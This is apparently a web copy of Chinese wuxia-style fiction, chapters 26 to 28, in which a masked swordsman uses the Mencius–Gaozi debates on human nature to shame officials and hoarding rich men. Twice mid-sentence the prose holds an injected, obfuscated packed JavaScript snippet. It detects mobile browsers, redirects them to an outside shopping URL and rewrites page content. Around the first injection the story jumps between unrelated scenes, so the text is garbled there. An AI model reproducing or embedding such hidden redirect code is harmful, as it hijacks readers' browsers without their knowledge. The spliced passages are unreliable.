长安悬榜缉恶风,剑客题诗月色中。 十步一杀非嗜血,千里独行为秉公。 木剑无锋能断欲,白绢有影可照衷。 莫问侠踪何处去,人心向背即剑锋。 26. 杞柳谳 楔子柳桩奇童 大梁天佑七年,青州柳家庄出了个神童,名柳天纵,年方七岁,能诗能文,过目成诵。州学政亲试,出题“仁者爱人”,童子挥笔立就,文中竟引《孟子》三章,驳《告子》之谬。学政拍案称奇,誉为“孟门小圣”。 消息传开,县尊、知府乃至巡抚,皆来观瞻。柳家茅舍,顿成闹市。柳父本一农夫,忽见车马盈门,白银堆案,恍在梦中。有富商出价千两,聘为西席;有书院山长,欲收关门弟子;更有官宦,拟认义子。 柳天纵立庭中,锦衣玉履,背手诵《孟子·告子上》,声如碎玉: “告子曰:‘性,犹杞柳也;义,犹桮棬也。以人性为仁义,犹以杞柳为桮棬。’ 孟子曰:‘子能顺杞柳之性而以为桮棬乎?将戕贼杞柳而后以为桮棬也?如将戕贼杞柳而以为桮棬,则亦将戕贼人以为仁义与?率天下之人而祸仁义者,必子之言夫!’” 诵至“戕贼”二字,忽有一灰衣人,负长剑,自门外榆树跃下,拊掌笑道: “好个‘戕贼’!童子,你既明此理,可知眼前诸公,正欲戕贼于你?” 满庭愕然。 一、 戕柳第一折 灰衣人面罩轻纱,身形瘦削,立于庭中,如孤鹤落雁。柳父上前叱道:“你是何人?敢搅扰贵客!” “山人无姓无名,路过闻孟子之言,心喜,特来一观。”灰衣人声若清泉,竟似少年,“只是观此庭中,有人欲将这株‘杞柳’,强扭作‘桮棬’了。” 座中学政蹙眉:“阁下此言何意?柳童天赋异禀,我等欲栽培之,使其成器,何来‘戕贼’?” 灰衣人轻笑,指柳天纵身上锦袍:“这袍,是他愿穿的么?” 柳天纵张了张嘴,低声道:“爹说…见贵人,要穿体面些…” “这玉冠?” “知府大人赏的…” “这跪礼?”灰衣人指他膝上尘痕,“你方才跪迎巡抚,可是心甘?” 柳天纵抿唇不语。他本农家子,何曾习过跪礼?方才被父强按在地,膝磕青石,生疼。 学政拂袖:“礼乃大伦,习礼明义,有何不妥?” “不妥在‘强’。”灰衣人踱步,“孟子云:顺杞柳之性而为桮棬。今观此童,天性何在?他本山间杞柳,好生好长便是。诸位却要斫其枝、削其皮、曲其干,强制成器。此非‘顺性’,实为‘戕贼’。” 巡抚不耐:“阁下究竟何人?在此妄议!” 灰衣人自怀中取出一卷书,哗啦展开,竟是《孟子》竹简。他指“戕贼”二字,对柳天纵道: “童子,我且问你。你读书,是觉书中道理如清泉,饮之甘美,还是觉如苦药,父命强灌?” 柳天纵望父,父目露威吓。他垂首:“是…甘美。” “非也。”灰衣人叹,“你眼里无光,只有惧。惧父,惧官,惧这满庭‘栽培’你的人。这惧,便是戕贼之始。” 他转身,对满庭宾客朗声道: “诸公今日来,真是为这童子?非也。是为‘神童’之名——得之,可彰你们教化之功;育之,可显你们惜才之德。这童是死是活,是杞柳还是桮棬,你们何曾真心在意?不过借他之材,成全你们仁义之名罢了!” 言罢,掷竹简于地,哐当一声,满庭死寂。 二、 戕柳第二折 灰衣人一番话,说得庭中诸公面红耳赤。富商先拂袖而去,山长、官宦亦讪讪告辞。只剩学政、巡抚,面色铁青。 柳父大急,拦住灰衣人:“你!你毁我儿前程!” “前程?”灰衣人反问,“你儿前程,是金榜题名,还是做人?” “自然是做官!光宗耀祖!” “做官便是做人?”灰衣人摇头,“你可知,这满朝朱紫,多少是强扭的杞柳?小时被父师戕贼,长大戕贼他人。一代戕一代,仁义成桎梏,礼法作刀锯。你儿纵能高中,也不过多一具行尸走肉,何喜之有?” 柳父语塞。柳天纵却抬头,怯声问:“先生…那我该如何?” 灰衣人蹲身,与他平视:“你爱读书么?” “爱…尤其爱孟子。他说‘人皆有不忍人之心’,我觉得对。见邻家狗死,我会哭。” “这便是你的天性——仁心自发,如杞柳抽芽。”灰衣人温言,“可你父与诸公,要你将这仁心,套进‘忠孝节义’的模子,雕成他们想要的‘桮棬’。你不愿,却不敢违,是么?” 柳天纵眼眶一红,点头。 “今日我教你一招。”灰衣人起身,对学政、巡抚一揖,“二位大人,可否允童子一月假期,不读书,不习礼,只去田间玩耍,山中奔跑?” “荒唐!”学政怒道,“童子正宜进学,岂可荒废!” “进学为明理,明理在践行。”灰衣人正色,“孟子言‘必有事焉’,何事?事亲、事君、事天下。今亲在眼前,他却只知跪拜,不知亲心;君在庙堂,他却只知忠字,不知民生。这等学,不如不学。” 巡抚冷笑:“依你之见,当如何?” “放他归山一月。一月后,若他灵性尽失,我自缚请罪。若他仁心更明,请二位上奏朝廷,废‘童子科’,罢‘神童举’,还天下孩童一个自在童年。” 此言石破天惊。童子科乃朝廷选才捷径,多少人家逼子苦读,以求一鸣惊人。若废,不啻断人青云路。 学政、巡抚对视,皆见惊疑。良久,巡抚道:“好,本官准了。但有一条件——这一月,你须在旁看顾,若童子有失,唯你是问!” “一言为定。” 三、 顺柳一月 翌日,柳天纵脱锦袍,换粗布,随灰衣人出庄。柳父捶胸顿足,却也无奈。 灰衣人携童子,不入城镇,只往深山去。白日采药,夜宿山洞,渴饮山泉,饥食野果。初时柳天纵叫苦,灰衣人只道: “孟子曰:‘天将降大任于是人也,必先苦其心志,劳其筋骨。’这苦,是别人强加,还是你自找?” “是…自找?” “是,也不是。”灰衣人指山中野柳,“你看那杞柳,生在崖边,石压风吹,是苦。可它顺石而长,迎风而舞,苦中作乐,便成了景。人亦如此——苦不可免,但如何待苦,是你的事。” 柳天纵若有所思。 数日后,至一山村,见老妪病卧,子女不孝。柳天纵以所采草药医之,老妪泣谢。灰衣人问:“你治她,是因‘仁心’,还是因《孟子》说‘老吾老’?” 柳天纵怔住,良久道:“我见她苦,心里难受,便想帮她。与《孟子》…无关。” “这便是顺性。”灰衣人笑,“仁心本在你心中,非孟子教你。孟子只是说破罢了。” 又数日,遇两村争水,械斗在即。柳天纵忽奔至渠前,朗声背《孟子·梁惠王上》: “不违农时,谷不可胜食也…斧斤以时入山林,材木不可胜用也…” 背罢,对两村人道:“水如谷,如林,当以时、以度分之。你等械斗,水亦不来,反伤人命,何益?” 村民见一童子侃侃而谈,皆奇,气渐平。灰衣人暗中指点,定“分时用水”之法,争端遂解。 是夜,柳天纵问:“先生,我今日背《孟子》,可是‘戕贼’?” “非也。”灰衣人道,“你背《孟子》,是心中先有仁,借孟子之言表之。若心中无仁,只背书,那才是戕贼。” 一月将尽,柳天纵面黑体健,目有神光。这日,灰衣人携他登高,指山下村落: “你看,这人间如大林,人人如杞柳。有人被强扭作官椅,有人被削作杯盘,有人被砍作柴薪。可你看那边——”他指山崖一株老柳,曲干虬枝,随风摇曳,“那柳,无人雕琢,长得可好?” “好!有风骨。” “这便是顺性。”灰衣人负手,“人亦当如此——读书,是让心中仁心更明,非为套入模子。为官,是为让百姓顺性而生,非为强扭世道。若天下人都能顺性,各得其所,何需礼法桎梏?这便是孟子‘性善’真义。” 柳天纵如醍醐灌顶,伏地拜谢:“学生…明白了。” 四、 当庭辩柳 一月期满,柳天纵归家。学政、巡抚已候在庭,见童子神完气足,目光清亮,皆是一怔。 “如何?”巡抚问,“可还愿读书?” “愿。”柳天纵答,“但学生有三不读。” “哪三不?” “一,不为功名读书;二,不为父命读书;三,不为成器读书。只为明理、顺性、助人而读。” 满庭哗然。柳父急叱:“逆子!胡说什么!” 灰衣人上前:“他非逆,乃顺——顺己之性,顺天之理。敢问二位大人,童子科选才,是为选‘顺性’之人,还是‘戕贼’之器?” 学政沉吟:“这…” “孟子与告子辩性,关键在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑是木剑,悬于书院正堂。简是《孟子》,翻开至《告子上》,朱笔圈“戕贼”二字。 游侠观剑阅简,忽有所悟,对柳天纵一揖: “君以杞柳成林,荫庇一方,此乃真仁义。较之庙堂衮衮诸公,强扭天下为桮棬者,高明多矣。” 大笑而去。 自此,青州柳庄,渐成圣地。有苦于科举者,有厌于世道者,皆来观柳。见柳林千姿,各顺天性,无不慨然: “人不如柳。” 而灰衣人故事,亦在杞柳林中,随风传颂。 本章诫世 一、 杞柳桮棬之辩 - 以“戕贼杞柳”喻强扭天性,刺功利教化 - 破解法:真才不假雕琢,至善顺性而生 - 示例:神童被捧杀,天性遭扭曲,实为时代悲剧 二、 顺性成仁之悖 - 儒家本倡“因材施教”,后世却成“削足适履” - 惕世:当教育异化为功利工具,所出非人才,乃器皿 - 反思:是育人,还是制器?是顺性,还是戕贼? 三、 柳林书院之喻 - 以千姿杞柳喻多元成才,以书院代新教化 - 深层隐喻:大道之行,当如百花园,牡丹、幽兰、荆棘、苔藓,各得其所,各展其姿。强求一律,则如以斧钺斫百卉,令同乎匠作盆栽,虽整齐可观,而生机尽矣。 - 终极指向:教育的本质是唤醒,非塑造;是点燃,非浇铸 杞柳偈: 天佑七年青州春,柳庄童子惊学臣。 七岁能辩孟告论,一言道破戕贼因。 锦袍玉冠强扭性,山野云泉自养真。 莫道教化皆成器,顺性方为不坏身。 后世叹: 大梁天佑柳庄奇,神童七岁诵孟辞。 满庭朱紫争雕琢,一介灰衣解困羁。 杞柳顺天成美景,桮棬强扭是残枝。 书院留得木剑在,长警世人莫自欺。 正是: 青州柳庄出神童,七岁能辩孟告锋。 锦袍玉冠强束性,山泉云岫自养衷。 戕贼杞柳成杯棬,顺导赤子化麟龙。 莫道人间无正道,性善本在寸心中。 27. 水性谳 楔子泗水奇观 大梁天佑九年,泗水大旱,赤地千里。唯泗水城西五十里,有白龙潭,水势不减,乃方圆百里唯一水源。 潭属豪绅赵半城。此人名守财,家资巨万,田连阡陌。旱情初起,即筑堤拦潭,设卡收费:一桶水,十文钱;一车水,一吊钱。贫者无水,富者戏水,泗水城渐成水火两重天。 这日,赵府设宴,庆贺新得“乐善好施”匾额——乃知府所赠,酬其“捐粮三百石”。实则赵家粮仓积谷如山,三百石不过九牛一毛。 宴至酣处,赵守财命开闸放水,于潭边筑“流觞曲水”,效兰亭雅集。清泉汩汩,沿玉渠流转,渠畔设锦墩,宾主传杯赋诗,好不风雅。 忽闻潭畔老柳上,有人击节而歌: “人性之善,犹水就下。 今见水在山,其势然也? 抑或人心恶,逼水上崖?” 声清越,如泉击石。众宾抬头,见柳枝上坐一灰衣人,斗笠面纱,负木剑,双腿悬空晃荡,说不出的闲适。 赵守财皱眉:“阁下何人?扰我雅兴。” 灰衣人跃下,点尘不惊,指玉渠中水:“赵老爷可知,这水本欲流向何处?” “自然是顺渠而流,供我等吟咏。” “非也。”灰衣人摇头,“水之性,就下。此潭本在山脚,顺山势可溉万亩田。君筑堤拦之,逼水上山,入玉渠,供嬉戏。此岂水之性哉?其势则然也——君以财势逼之。” 赵守财冷笑:“我的潭,我的水,我爱如何便如何!” “你的水?”灰衣人轻笑,“天降甘霖,地涌清泉,本是天生地养,众生共享。君不过暂据此地,便敢称‘我的’?依此理,君吸的空气,也是‘君的’?晒的日头,也是‘君的’?” 满座哗然。有宾客怒斥:“刁民!胡言乱语!” 灰衣人不理,自顾行至潭边,俯身掬水,饮一口,叹道: “孟子曰:‘人无有不善,水无有不下。’今观此潭,水本善下,君逼其上;民本需水,君囤而居奇。是君之性不善,非水之性也。” 言罢,木剑出鞘,在潭边青石上刻下一行字: “水性就下,人性本善。 逼水上崖,是谓逆天。 囤水居奇,是谓悖人。 逆天悖人,其能久乎?” 刻罢,飘然而去。 赵守财气得发抖,命家丁铲字。可怪,那字入石三分,铲了又生,如泉水渗出,越铲越清。三日不消。 一、 逆水第一折 灰衣人离了白龙潭,直奔泗水城。入城,但见街市萧条,百姓面有菜色,水桶排成长龙,在赵家水铺前蜿蜒。 水铺掌柜赵福,是赵守财远亲,此刻正拨算盘,尖声道:“今日水价,一桶十五文!” 人群骚动。一老妪颤巍巍递上十文:“昨日还十文…” “昨日是昨日,今日是今日!”赵福推开老妪,“没钱的,滚!” 老妪跌倒,瓦罐碎裂,水洒一地。她趴在地上,以手掬泥水,泪如雨下。旁有汉子怒起:“你们还是人吗?!这是要逼死人!” 赵福冷笑:“逼死?渴死病死是你们命贱,关我屁事?” 话音未落,一物破空飞来,正砸在赵福面门——是块青石,上刻八字,正是潭边那“逆天悖人,其能久乎”。 赵福捂脸痛呼,抬眼,见灰衣人立于铺前,木剑斜指:“水价,一桶三文。多收的,吐出来。” “你…你是那狂徒!”赵福尖叫,“来人!拿下!” 七八个壮汉扑上。灰衣人不动,待近身,木剑轻点,如蜻蜓点水。汉子们忽觉膝弯一软,纷纷跪倒,跪的方向,正是那老妪。 “跪着,看。”灰衣人声冷如冰。 他走到水车旁,木剑一划,绳索尽断,水车倾覆,清水汩汩涌出,漫了一地。百姓惊呼,却不敢上前。 “水在此,自取。”灰衣人道。 无人敢动。 灰衣人叹,俯身扶起老妪,取瓦罐,亲手舀水递上:“婆婆,水本天生,人人可饮。今日我作主,这铺中水,分文不取。” 又对众百姓:“尔等取水,天经地义。若赵家问罪,便说——是‘水性’让取的。” 百姓面面相觑,终有胆大的,上前舀水。一人动,百人随,须臾间,水铺被搬空。赵福欲阻,膝如生根,动弹不得。 灰衣人这才解穴,对赵福道:“回去告诉你家老爷:三日之内,开潭放水,赈济灾民。若不然,这‘逆天悖人’四字,就不止刻在石上了。” 言罢,负剑入人群,转眼不见。 赵福连滚爬回赵府,哭诉经过。赵守财摔杯大骂:“反了!反了!给我报官!” 当夜,泗水城贴满海捕文书,绘影图形,捉拿“毁铺劫水之匪”。赏银五百两。 二、 逆水第二折 第二日,赵守财增派百名家丁,持棍守潭。又请知府派兵,沿潭设卡,许出不许进。 百姓聚潭外,望水兴叹。有胆大者欲夜潜取水,被抓,吊在潭前柳树上,以儆效尤。 第三日,赵守财坐轿至潭边,见柳树上吊着三人,奄奄一息,冷笑:“看谁还敢!” 忽闻树上有人道:“赵老爷,你看这三人,像什么?” 赵守财惊抬头,见灰衣人蹲在更高枝头,正俯身看他。 “像刁民!” “非也。”灰衣人摇头,“像水。” “水?” “孟子曰:‘今夫水,搏而跃之,可使过颡;激而行之,可使在山。’”灰衣人指那三人,“他们本是良民,顺性就下,安分守己。是你,以势相逼,以利相诱,使其铤而走险,如水上跃,如逆山行。此岂其本性哉?是你逼的。” 赵守财大怒:“胡说!来人,放箭!” 箭如飞蝗,灰衣人纵身一跃,如大鹏展翅,竟掠过十丈水面,落在潭心巨石上。盘膝而坐,木剑横膝,朗声道: “赵守财,我与你打个赌。” “赌什么?” “赌这潭水,听你的,还是听我的。” 赵守财气极反笑:“我的潭,自然听我的!” “好。”灰衣人举剑向天,“若水听你的,我自缚请罪。若水听我的——” “如何?” “你开仓放粮,开潭放水,散尽家财,赈济灾民。” 赵守财嗤笑:“狂妄!你当自己是龙王爷?” 灰衣人不答,木剑插入潭中,闭目默诵。众目睽睽,潭水平静如常。赵守财正欲嘲弄,忽见水面生涡,初如碗口,渐如磨盘,俄顷扩大至三丈,深不见底。 涡中涌出三股水柱,粗如巨蟒,直冲半空。水柱在空中扭结,竟化作三个大字: “水 就 下” 水字晶莹,映日生辉。百姓惊呼,纷纷跪拜。 赵守财面色惨白,强自镇定:“妖…妖术!” 灰衣人睁眼,声如洪钟:“此非妖术,是水性!水本欲就下,润泽万物,是你筑堤拦之,使其积郁成怒。今我不过顺其性,导其势罢了!” 话音落,三股水柱轰然崩散,化作倾盆大雨,降在潭外干裂田地。百姓欢呼,仰面接水。 更奇的是,赵府所筑堤坝,轰隆作响,竟自行裂开一道缺口,潭水奔涌而出,沿山势而下,直灌干涸河道。 赵守财瘫坐在地。 灰衣人自潭心跃至他面前,木剑指其额: “水就下,是性。你逼水上山,是逆性。人性本善,亦如水就下。你囤水居奇,见死不救,是逆性中之善,激出恶来。今水归其道,你,也该归你的道了。” 赵守财颤声:“我…我何道?” “为富,当仁。持财,当义。若为富不仁,持财不义,财如逆水,终将反噬。”灰衣人收剑,“给你三日,散财赈灾。三日后若不见行动,这潭水,就不止冲堤了。” 言罢,纵身入林,歌曰: “水性就下本自然, 人性向善亦如泉。 莫逼水上悬崖走, 莫推人入恶浪间。 顺性方得长久道, 逆天终有覆舟年。 君看今日白龙水, 冲破堤坝润枯田!” 歌声远去,潭水奔流。百姓欢呼取水,赵守财面如死灰。 三、 顺水之治 赵守财终究怕了。 他亲眼见潭水逆天,又闻灰衣人“水冲府邸”之警告,不敢怠慢。三日内,开仓放粮八千石,开潭任人取水,又捐银万两,助修水利。 知府闻之,亲送“泽被苍生”匾。赵守财接匾时,手抖如筛糠——他想起灰衣人说的“逆天悖人,其能久乎”。 事毕,赵守财病了一场。病中恍惚,总见潭水化作巨蟒,扑入宅中。愈后,性情大变,竟真做起善事:设粥棚,建义学,修桥铺路。人皆奇之,唯他自己知晓,是那“水性就下”四字,如剑悬顶。 再说灰衣人,离了白龙潭,沿泗水下行。见河道得水,禾苗返青,微微颔首。行至一村落,却见村民围聚,争吵不休。 近前观之,是为分水。此村有上下两圩,上圩近河,截水自私;下圩地高,滴水难得。两圩相争数年,械斗不休。 里正见灰衣人气度不凡,揖问:“先生可能解此纷?” 灰衣人问明缘由,笑道:“此事易耳。” 他引众人至河边,指水道:“水之性,就下。上圩截水,是逼水不流,如赵守财拦潭,终将溃决。不若顺水性,开渠分水。” “如何分?” “按孟子‘时、度’二字。”灰衣人取木剑,在河滩画图,“一,分时:昼夜各半,上圩昼用水,下圩夜用水。二,分度:设水闸,定量而分,多退少补。如此,水得流通,两圩得利。” 村民将信将疑。灰衣人亲督开渠,三日渠成。试分水十日,果如其言,两圩皆足,再无争端。 村民感佩,欲赠金帛,灰衣人不受,只道:“我非治水,是治心。你等争水,是逆水性,亦逆人性。今顺之,自安。” 临行,在渠首石上刻: “水就下,人向善。 顺之者昌,逆之者散。” 自此,此渠名“顺性渠”,百年不争。 四、 水性之辩< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088179|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灰衣人离村,行至泗水入江处,见一老儒设坛讲学,听众甚众。讲的正是“告孟水性之辩”。 老儒捋须道:“告子云,人性如湍水,东引东流,西引西流,本无善恶。此言甚当!人之善恶,皆教化使然…” 灰衣人驻足,忽扬声道:“先生差矣!” 众皆侧目。老儒不悦:“阁下有何高见?” “不敢。”灰衣人跃上江边巨石,朗声道,“告子以水喻性,只见其表。孟子云:‘水无有不下,人无有不善。’水之就下,是其本性。人向善,亦本性。今见水上山,是外势所逼;人作恶,亦外势所迫。岂可本末倒置,以势为性?” 老儒嗤笑:“依你之见,世人皆善,何来恶人?” “恶人非本性恶,乃环境所逼,教化所误。”灰衣人指江水,“譬如这泗水,本清澈,何以至此浊黄?是因上游伐木,泥沙俱下。水本清,浊是外污;人本善,恶是外染。不治上游,只责水浊,岂不谬哉?” 有听者问:“那赵守财为富不仁,也是外染?” “正是。”灰衣人道,“赵守财幼时,亦曾拾金不昧。何以成守财奴?是因世风重利,教化偏颇,使其以为‘财可通神,利可蔽天’。此非其本性,乃时势所染。后经白龙潭一事,水性启发,幡然悔悟,不正是善心复萌?” 老儒语塞。灰衣人又道: “告子言‘性无善恶’,是推责于外——恶是别人教的,善是别人导的,自己无责。孟子言‘性本善’,是归责于内——恶是外染,可除;善是本有,当彰。二者孰高孰低,诸君自辨。” 言罢,木剑指江:“今日我便以剑为笔,以水为墨,写一字与诸君看。” 但见他纵身跃起,剑尖点水,竟在江面划出一道水痕。水痕不散,随剑走龙蛇,渐渐成字,正是个巨大的: “善” 江水滔滔,那“善”字浮于水面,久久不散。阳光照耀,金光粼粼,观者无不震撼。 灰衣人收剑,对众一揖:“人性本善,如水就下。诸君当自信本心,莫为外物所染。更莫以‘性无善恶’为借口,放纵恶行。告辞!” 踏浪而去,转眼无踪。 尾声善水长流 白龙潭事后,泗水大治。赵守财真成善人,修“顺性渠”十二道,润泽三县。百姓感其德,改称“赵半城”为“赵善人”。 知府将灰衣人之事上奏,朝廷震动。有司议“水性之辩”,竟成朝堂论题。主告子者曰“教化至上”,主孟子者曰“本性为基”,争持不下。 天子闻之,亲书“善水”二字,敕令各州县镌石立于河畔,旁注孟子之言,以警官吏。 又三年,泗水复旱。此次,未等官府开仓,赵善人率先开潭,各县富户效仿,竟无饥馑。百姓感言:“是当年那位剑仙,一席话改了泗水风水。” 而那灰衣人,再未现身。唯顺性渠首石上,字迹年年发洪水不灭。有牧童见,每至月圆,石上“善”字会泛微光,如水流淌。 更奇的是,泗水孩童启蒙,先生不先教《三字经》,而教一句: “人性之善,犹水就下。” 孩童不解,先生便指窗外泗水:“你看那水,总往低处流。人心向善,亦如此。若见人作恶,不是本性恶,是像水遇山石,拐了弯。咱们要做的,是搬开山石,让水归正道。” 孩童似懂非懂,但记下了“水就下,人向善”。 或许,这就够了。 本章诫世 一、 水性人性之喻 - 以“水就下”喻人性本善,以“逼水上崖”喻环境扭曲 - 破解法:勿因浊水责水性,当清源头;勿因恶人责人性,当正世风 - 示例:赵守财非天生恶,乃利欲熏心;百姓非天生刁,乃生计所迫 二、 顺逆之道之悖 - 顺水性则水利万物,逆之则溃堤成灾;顺人性则世道昌明,逆之则戾气横生 - 惕世:治国如治水,堵不如疏,压不如导 - 反思:是人性本恶需严刑,还是世道不公催人恶? 三、 善水长流之思 - 石上“善”字不灭,喻本性不灭;孩童口传“水就下”,喻善念传承 - 深层隐喻:真正的教化,是唤醒本善,非强植规范 - 终极指向:人人心中皆有善泉,莫让利欲顽石堵塞 水性偈: 天佑九年泗水枯,豪绅拦潭作私湖。 剑仙一言论水性,百姓方知善本初。 逼水上崖非水愿,诱人为恶是世污。 顺性渠开千顷绿,方信孟言不我诬。 后世叹: 大梁天佑旱魃狂,白龙潭水成私囊。 灰衣论性惊四座,木剑分水利八乡。 水性就下喻本善,人心向善即康庄。 莫道世间多恶浪,清泉自在心底藏。 正是: 泗水逢干旱魃行,豪绅拦潭牟利精。 灰衣论性惊俗目,木剑分水润苍生。 水性就下本天道,人心向善即光明。 劝君莫作逆流石,自有清泉心底鸣。 28. 白马谳 楔子白马论法 大周开成五年,洛州白马县出了桩奇案。 县学教授公孙博,乃名家之后,在县衙开讲“白马论”,引经据典,滔滔不绝:“物之名实,当细分。白马,白是色,马是形,白马非马也!” 座中学子、乡绅皆称妙。忽闻堂下有人轻笑。 公孙博不悦:“何人发笑?” 但见人群中站起一白衣人,斗笠面纱,负木剑,朗声道:“先生高论。只是学生有一问:若白马非马,那人可非人乎?” 满堂哗然。公孙博怒道:“胡言!人自是…” “人自是?”白衣人踱步上前,“依先生理,人有贫富、贵贱、智愚、贤不肖之别。贫者,是人也?富者,是人也?若贫者算人,与富者同乎?若不同,岂非‘人非人’?” 公孙博语塞。县令忙打圆场:“此乃名家机辩,不必较真…” “当真不必较真?”白衣人声转清越,“今岁白马县灾,流民三千。县尊发赈,富者得米三斗,贫者得米一升。问:同是灾民,为何不同?答:富者纳粮多,当多得。再问:纳粮时,可有分‘白马粮’‘黑马粮’?纳银时,可有分‘白马银’‘黑马银’?既纳时无分,赈时何分?此非白马论,乃‘人非人’论也!” 县令面红耳赤。公孙博强辩:“此乃实务,与名理无干!” “无干?”白衣人长笑,“好,那便说名理。先生言白马非马,是重名轻实。今观白马县,富者名‘民’,实为豺狼;贫者名‘民’,实为牛马。这名实之悖,与白马论何异?” 他自怀中取出一卷竹简,哗啦展开,正是《孟子》公孙丑章句: “告子曰:‘生之谓性。’ 孟子曰:‘生之谓性也,犹白之谓白与?’ 曰:‘然。’ ‘白羽之白也,犹白雪之白;白雪之白,犹白玉之白与?’ 曰:‘然。’ ‘然则犬之性,犹牛之性;牛之性,犹人之性欤?’” 念罢,环视众人: “告子言‘生之谓性’,谓凡活着即有性,犬牛人无异。孟子诘之:若白羽、白雪、白玉皆白,其性同否?若同,犬牛人皆生,性亦同否?此问诛心!今白马县,富者贫者皆人也,性可同否?若同,何以厚此薄彼?若不同,岂非人不如犬牛——犬牛尚不嫌贫爱富!” 言罢,掷简于地,拂袖而去。 满堂死寂。唯闻简册滚动声,如闷雷。 一、 富者非人 白衣人出县衙,径往城东富户区。时值重阳,富户们正办“赛马会”,锦棚绣帐,宝马雕鞍。赛罢,头名赏金百两,末名亦有十两。贫民围观,如堵墙。 白衣人立人丛中,忽扬声道:“诸位,我也有一马,欲参赛。” 众人望去,见他牵着一匹老瘦跛马,毛色杂乱,垂头丧气。富户哄笑:“此等劣马,也敢参赛?” “劣马?”白衣人抚马颈,“此马年十五,为主人耕田十载,驼货万里。今老病,主人欲卖肉铺,我以十文钱赎来。敢问,此马是马否?” “自然是马,只是劣马。” “好。”白衣人点头,“那诸位宝马,是马否?” “废话!” “既是马,为何此马不能赛?” “此等劣马,岂配与我等良驹同场?” “哦?”白衣人笑,“依此理,贫者是人否?” “是…是人。” “富者是人否?” “自然!” “同是人,为何贫者不能与富者同席?不能同赈?不能同诉冤屈?岂非人分‘良劣’,如马分‘宝马劣马’?” 富户语塞。白衣人跃上马背,朗声道: “孟子与告子辩性,要义在‘人之所以异于禽兽者几希’。这‘几希’,便是仁心。今诸公以财分人,以势凌人,仁心何在?与禽兽何异?不,禽兽尚不嫌同类贫病!” 他拍马入场,老马蹒跚,却步步踏实。至主席台前,白衣人下马,对会首陈百万一揖: “陈员外,我愿以此马,赌你百两黄金。” 陈百万嗤笑:“你拿什么赌?” “赌一个道理。”白衣人正色,“我赌此马虽老,心是马心;我虽贫,心是人心。你宝马千金,心是何心?若你心非人心,纵有万金,不过披人皮之兽,可敢赌?” 陈百万大怒,欲命家丁驱赶,忽见白衣人木剑出鞘,在青石地上一划,石裂三寸,现出一行字: “人之所以为人,在仁不在富。 马之所以为马,在力不在鞍。” 字入石三分,剑气森然。陈百万色变,强笑道:“不过戏言,何必认真…赏他二十两,让他去罢。” 白衣人不接银,翻身上马,歌曰: “白马非马是诡言, 贫富皆人是实篇。 君看赛场金鞍马, 可有一匹识人烟?” 歌罢,驱老马缓行出城。围观贫民,多有垂泪者。 二、 饥者皆人 白衣人出城,至流民营。时已深秋,饥民瑟缩,见有马来,皆注目——非看人,看马肉。 白衣人下马,对众揖礼:“诸位,此马老病,不堪骑乘。今日我欲杀之,以肉飨众。可好?” 饥民怔住。一老者颤声:“壮士…此马虽老,亦是命…” “马命是命,人命更是命。”白衣人拔木剑,“孟子云:‘人皆有不忍人之心。’今诸君将死,尚不忍马死,此即仁心。而那城中富户,坐拥万斛,见人将死而不救,其心可忍?其心尚是人心否?” 他挥剑斩马,剑是木剑,却锋利异常,马颈立断,血喷如泉。白衣人以剑接血,在营前土墙书八字: “饥者皆人, 富者何心?” 书罢,对众道:“马肉在此,请自取。但我有一求——食肉时,思此八字。他日若得生路,莫忘今日之饥,莫学城中‘非人’之辈。” 饥民跪谢,分肉而食。是夜,流民营中,无人争抢,老幼均分。有孩童问父:“爹,那白衣先生,是神仙么?” 父答:“非仙,是人。真正的人。” 消息传入城,陈百万闻之,嗤道:“假仁假义!一匹马,能活几人?” 幕僚低语:“老爷,流民皆赞其人,恐生变故…” “变故?”陈百万冷笑,“明日开粥棚,施三日粥。让那些泥腿子知道,谁才是真佛!” 三、 施粥论性 次日,陈府开粥棚。粥清可见底,勺有定数,一人一勺。饥民排队,秩序井然。 白衣人杂在队中,至棚前,陈百万亲掌勺,舀了半勺清汤:“下一个。” 白衣人不接:“陈员外,此粥可饱人乎?” “施粥是慈悲,岂可求饱?” “慈悲?”白衣人指粥,“此粥之清,可鉴人影。员外可知,人之所以异于禽兽者,在仁心。仁心发为善行,当诚当实。今以此清汤充粥,是欺人,是欺天,是欺己心。此等‘慈悲’,与戏耍何异?” 陈百万面红耳赤:“你…你懂什么!粥少人多…” “粥少,是你仓中粮少?”白衣人厉声,“你仓中积谷三年陈,宁可霉烂,不舍施人。此心,是人心否?告子言‘生之谓性’,谓饱食安居即为人。依此,你饱食安居,是人。可孟子言‘人之所以异于禽兽者几希’,这‘几希’在你心中,尚有否?” 他夺过粥勺,掷于地,勺碎粥洒。又自怀中取出一袋米——正是昨日陈百万赏的二十两银所换。 “诸君看,此米,是我以陈员外赏银所购。今我以此熬粥,与诸位同食。” 他真在棚前支锅,取水熬粥。米香四溢,饥民垂涎。陈百万气得发抖,命家丁砸锅。白衣人木剑一横: “且慢。陈员外,我再与你赌一局。” “赌…赌什么?” “赌人心。”白衣人指饥民,“你我各熬一锅粥,让饥民自选。选你者,我叩头赔罪。选我者,你开仓放粮三日。可敢?” 陈百万见饥民皆目视白衣人锅中粥,已知必输,强道:“此等赌局,毫无道理…” “毫无道理?”白衣人长笑,“你以清汤充粥,便有道理?你以财势凌人,便有道理?告子言‘生之谓性’,谓饱食即人。今你饱食,却无仁心,岂非‘饱食者非人’?此理,可通否?” 陈百万哑口无言。白衣人盛粥,分与老弱。饥民接过,皆对陈百万侧目。 是夜,陈百万辗转难眠。忽闻窗外有歌: “饱食锦衣未必人, 饥寒交迫尚存仁。 君看流民营中火, 